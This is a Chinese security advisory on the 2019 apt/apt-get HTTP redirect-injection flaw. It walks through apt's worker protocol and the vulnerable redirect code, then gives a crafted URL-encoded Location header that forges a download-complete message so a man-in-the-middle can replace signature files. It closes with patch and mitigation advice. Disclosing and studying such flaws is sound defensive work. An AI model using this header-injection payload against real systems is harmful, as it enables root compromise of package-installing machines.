Linux包管理器apt/apt-get远程代码执行漏洞预警是怎样的

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0x00 漏洞背景

2019年1月22日 @Max Justicz 在其博客中公开了有关于 debian 系包管理器apt/apt-get远程代码执行的一些细节。当通过 APT 进行任意软件的安装、更新等，默认会走 HTTP 而非 HTTPS，攻击者可以通过中间人劫持等手法劫持 HTTP 流量，并通过重定向及相关响应头的构造，完美构造合法的安装包签名，以此绕过 APT 本地签名的判断。攻击一旦触发，便可导致目标服务器的 root 权限被拿下。

360CERT 判断该漏洞危害严重，影响面有限。建议使用Debain系发行版的用户及时进行apt软件的更新或者对服务器进行流量自查。

0x01 漏洞详情

在获取数据时，apt会fork出worker进程用于数据传输。父进程使用类似于HTTP的协议通过stdin/stdout与这些worker进程进行通信，告诉它们下载什么以及将下载的内容放在文件系统的什么位置上。例如，当apt install cowsay时fork出/usr/lib/apt/methods/http，返回一条100 Capabilities消息：

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

父进程会发送它的设置并且请求一个资源：

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)

600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

然后worker进程的响应像下面这样：

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers

200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000

201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

当HTTP服务器返回redirect重定向时，worker进程返回103 Redirect而不是201 URI Done，然后父进程使用这个响应来确定接下来应该请求的资源：

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞在于对Location进行URL解码后就将其直接将其附加到103 Redirect响应中，造成了注入。

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
  std::cout << "103 Redirect\nURI: " << Queue->Uri << "\n"
            << "New-URI: " << NewURI << "\n"
            << "\n" << std::flush;
  Dequeue();
}

如果HTTP服务器返回的Location为：

Location: /new-uri%0AFoo%3A%20Bar

则响应包如下：

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/new-uri
Foo: Bar

那么再进一步构造：

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

就会形成具有危害的情况：

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://deb.debian.org/payload

201 URI Done
URI: http://deb.debian.org/payload
Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg
Size: 20070
Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

这时apt就会受到攻击者的控制，安装指定的package并且可以完美通过校验步骤，进而导致apt/apt-get安装到非官方源中的package。而由于apt/apt-get一般情况下只能由权限相对较高的用户执行，进而导致恶意的package可以任意执行代码/命令。

0x02 补丁分析

AcqMethod::Redirect函数通过对NewURI中的字符进行校验来修复该漏洞。

0x03 修复建议

Debain 可以通过添加 security 分支的源进行更新，主分支还受到影响

确保 /etc/sources.list 含有如下字段

deb http://deb.debian.org/debian-security/ {发行版编号例如stretch}/updates main
deb-src http://deb.debian.org/debian-security/ {发行版编号例如stretch}/updates main

再执行apt update && apt-get install apt 即可完成修复更新

Ubunutu 可以进行软件包版本升级

对应系统升级到如下版本：

• Ubuntu 18.10 apt - 1.7.0ubuntu0.1

• Ubuntu 18.04 LTS apt - 1.6.6ubuntu0.1

• Ubuntu 16.04 LTS apt - 1.2.29ubuntu0.1

• Ubuntu 14.04 LTS apt - 1.0.1ubuntu2.19

或者在更新时禁用 HTTP 重定向：

$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

再者可以使用完全由 https 构成的源进行更新

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